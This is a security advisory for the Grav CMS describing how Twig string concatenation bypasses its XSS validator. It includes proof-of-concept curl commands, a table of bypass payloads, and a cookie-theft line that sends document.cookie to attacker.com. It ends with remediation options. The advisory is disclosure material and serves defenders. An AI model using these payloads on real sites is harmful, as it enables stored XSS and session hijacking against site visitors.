GHSA-2c4f-86xc-cr74
Grav: XSS Blueprint Validation Bypass via Twig String Concatenation
Quick fix
GHSA-2c4f-86xc-cr74 — getgrav/grav: upgrade to the fixed version with the command below.
composer require getgrav/grav:^2.0.1Details
## Summary
The XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig's string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ "on" ~ "error" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `<img src=1 onerror=alert(1)>` which is rendered via `{{ content|raw }}` and executes in the victim's browser.
---
## Details
**The two-stage attack** exploits the separation between validation and rendering:
**Stage 1 - what the XSS validator sees** (raw page content):
```twig {% set x = "on" ~ "error" %} <img src=1 {{ x }}=alert(document.domain)> ```
The `detectXss()` function scans this string. The `on_events` regex looks for `<[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\s\x00-\x20\"\'\/]`, and `x` is not `on`. **No match - passes validation.**
**Stage 2 - what Twig produces** (after rendering):
```html <img src=1 onerror=alert(document.domain)> ```
The validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.
**Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`:
```yaml allowed_tags: - set # ← allows variable assignment ... ```
The `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.
**The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed:
```twig <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> {# XSS validator sees: <s{{...}}> - no <script> tag detected Twig output: <script>alert(1)</script> #} ```
**Also bypasses the `invalid_protocols` check**:
```twig <a href="{{"java"~"script"}}:alert(1)">click</a> {# Validator sees: href="{{...}}" - no "javascript:" protocol detected #} ```
---
## Proof of Concept
### Prerequisites 1. `twig_content.process_enabled: true` set by admin 2. `api.pages.write` permission (page creation)
### Step 1 - Obtain JWT token (any user with page write access)
```bash JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \ -X POST -H "Content-Type: application/json" \ -d '{"username":"user","password":"pass"}' \ | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])") ```
### Step 2 - Create page with Twig XSS payload
```bash curl -s http://127.0.0.1/grav/api/v1/pages -X POST \ -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \ -d '{ "title": "xss-page", "folder": "xss-page", "route": "/xss-page", "template": "default", "header": {"title": "xss", "process": {"markdown": false}}, "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>" }' ```
**Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.
### Step 3 - Visit page → XSS fires
```bash curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>' # Output: <img src=1 onerror=alert(document.domain)> ```
Open in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires. <img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" /> <img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />
#### From a low-level user Also From a low-level user normal script such as `<img src=1 onerror=alert(1)>` this is being blocked by the restriction. <img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />
But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click</a> proves that the we can bypass the blueprint restrictions and upload malicious script to it <img width="1841" height="1009" alt="image" src="https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd" /> <img width="1524" height="390" alt="image" src="https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770" />
### Alternative payloads (all bypass the validator)
| Payload | Twig Source | After Twig | Triggers | |---------|------------|------------|----------| | Event handler | `<img src=1 {{"on"~"error"}}=alert(1)>` | `<img src=1 onerror=alert(1)>` | Image load fails | | Script tag | `<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>` | `<script>alert(1)</script>` | Immediately | | Protocol bypass | `<a href="{{"java"~"script"}}:alert(1)">click</a>` | `<a href="javascript:alert(1)">click</a>` | On click | | Iframe onload | `<i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)>` | `<iframe onload=alert(1)>` | Page load | | Details toggle | `<details open {{"on"~"toggle"}}=alert(1)>` | `<details open ontoggle=alert(1)>` | Page load | | Cookie theft | `<img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)>` | `<img src=1 onerror=fetch(...)>` | Image load fails |
### Admin preview caveat
The Admin2 SPA renders page previews inside a **sandboxed iframe**:
```html <iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe> ```
`allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.
---
## Impact
Once the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack:
- **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`) - **Bypasses the dangerous tag blocklist** (reconstructs `<script>`, `<iframe>`, `<svg>`, etc.) - **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`) - **Persists** across page edits (stored in page content file) - **Executes** for every visitor to the page
An attacker can steal session cookies, perform actions as the victim, or deface the site.
---
## Remediation
### Option A - Re-run the XSS validator on Twig output
After `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served:
```php // In Twig::processPage(), after rendering $rendered = $twig->render($name, $context); $result = Security::detectXss($rendered); if ($result !== null) { // Log and sanitize or block Security::logTwigSandboxViolation('xss_output', $result, '', $route); return ''; // or return escaped version } ```
### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)
Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).
### Option C - Block dynamic attribute names in Twig output
Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.
### Option D - Escape HTML in rendered Twig output
Wrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior — the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-61453[ADVISORY]
- https://nvd.nist.gov/vuln/detail/CVE-2026-61710[ADVISORY]
- https://github.com/getgrav/grav[PACKAGE]
- https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation[WEB]